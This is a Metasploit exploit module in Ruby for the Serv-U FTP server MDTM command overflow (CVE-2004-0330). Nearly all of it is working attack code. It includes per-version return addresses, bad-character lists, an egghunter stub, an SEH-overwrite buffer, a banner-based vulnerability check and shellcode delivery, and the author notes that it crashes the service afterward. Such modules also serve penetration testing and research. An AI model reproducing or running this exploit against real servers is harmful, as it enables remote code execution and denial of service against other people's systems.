Serv-U FTPD MDTM Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Serv-U FTPD MDTM Overflow',  
'Description' => %q{  
This is an exploit for the Serv-U's MDTM command timezone  
overflow. It has been heavily tested against versions  
4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against  
nt4/2k/xp/2k3. I have also had success against version 3,  
but only tested 1 version/os. The bug is in all versions  
prior to 5.0.0.4, but this exploit will not work against  
versions not listed above. You only get one shot, but it  
should be OS/SP independent.  
  
This exploit is a single hit, the service dies after the  
shellcode finishes execution.  
  
},  
'Author' => [ 'spoonm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-0330'],  
[ 'OSVDB', '4073'],  
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],  
[ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],  
[ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],  
[ 'BID', '9751'],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",  
'StackAdjustment' => -3500,  
  
},  
'Targets' =>   
[  
[   
'Serv-U Uber-Leet Universal ServUDaemon.exe', # Tested OK - hdm 11/25/2005  
{  
'Platform' => 'win',  
'Ret' => 0x00401877,  
},  
],  
[   
'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe',  
{  
'Platform' => 'win',  
'Ret' => 0x0040164d,  
},  
],  
[   
'Serv-U 5.0.0.0 ServUDaemon.exe',  
{  
'Platform' => 'win',  
'Ret' => 0x0040167e,  
},  
],   
],  
'DisclosureDate' => 'Feb 26 2004',  
'DefaultTarget' => 0))  
  
register_advanced_options(  
[  
OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]),  
OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]),  
], self.class)  
  
end  
  
# From 5.0.0.4 Change Log  
# "* Fixed bug in MDTM command that potentially caused the daemon to crash."  
#  
# Nice way to play it down boys  
#  
# Connected to ftp2.rhinosoft.com.  
# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]  
#  
# Heh :)  
  
def check  
connect  
disconnect   
  
case banner  
when /Serv-U FTP Server v4\.1/  
print_status('Found version 4.1.0.3, exploitable')  
return Exploit::CheckCode::Vulnerable  
  
when /Serv-U FTP Server v5\.0/  
print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');  
return Exploit::CheckCode::Appears  
  
when /Serv-U FTP Server v4\.0/  
print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');  
send_user(datastore['USER'])  
send_pass(datastore['PASS'])  
if (double_ff?())  
print_status('Found version 4.0.0.4, exploitable');  
return Exploit::CheckCode::Vulnerable  
else  
print_status('Found version 4.1.0.0, exploitable');  
return Exploit::CheckCode::Vulnerable  
end  
  
when /Serv-U FTP Server/  
print_status('Found an unknown version, try it!');  
return Exploit::CheckCode::Detected  
  
else  
print_status('We could not recognize the server banner')  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
# generate_egghunter  
connect_login  
  
print_status("Trying target #{target.name}...")  
  
# Should have paid more attention to skylined's exploit, only after figuring  
# out how my payloads were getting transformed did I remember seeing \xff  
# doubling in his CHMOD exploit, arg!  
shellcode = payload.encoded  
  
case datastore['ForceDoubling']  
when 1  
print_status("Forced doubling of all \\xff sequences in the encoded payload")  
shellcode.gsub!(/\xff/, "\xff\xff")  
when 0  
print_status("Forced doubling has been disabled")  
when 2  
if (double_ff?())  
print_status("Forced doubling enabled after detection of version 4.0.0.4")  
shellcode.gsub!(/\xff/, "\xff\xff")  
end  
end  
  
# Searcher expects address to start scanning at in edi  
# Since we got here via a pop pop ret, we can just the address of the jmp  
# off the stack, add esp, BYTE -4 ; pop edi  
  
search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]  
search_stub = Rex::Arch::X86.searcher(search_rtag)  
search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'  
if (datastore['SEHOffset'] < search_code.length)  
print_error("Not enough room for search code, adjust SEHOffset")  
return  
end  
  
jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'  
  
buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))  
buf << search_code  
buf << jump_back  
buf << [target.ret].pack('V')  
buf << ' /'  
buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)  
buf << shellcode  
buf << search_rtag  
  
send_cmd( [buf], false )  
  
handler  
disconnect  
end  
  
def double_ff?  
res = send_cmd( ['P@SW'], true )  
return (res and res =~ /^500/) ? true : false  
end   
  
end  
`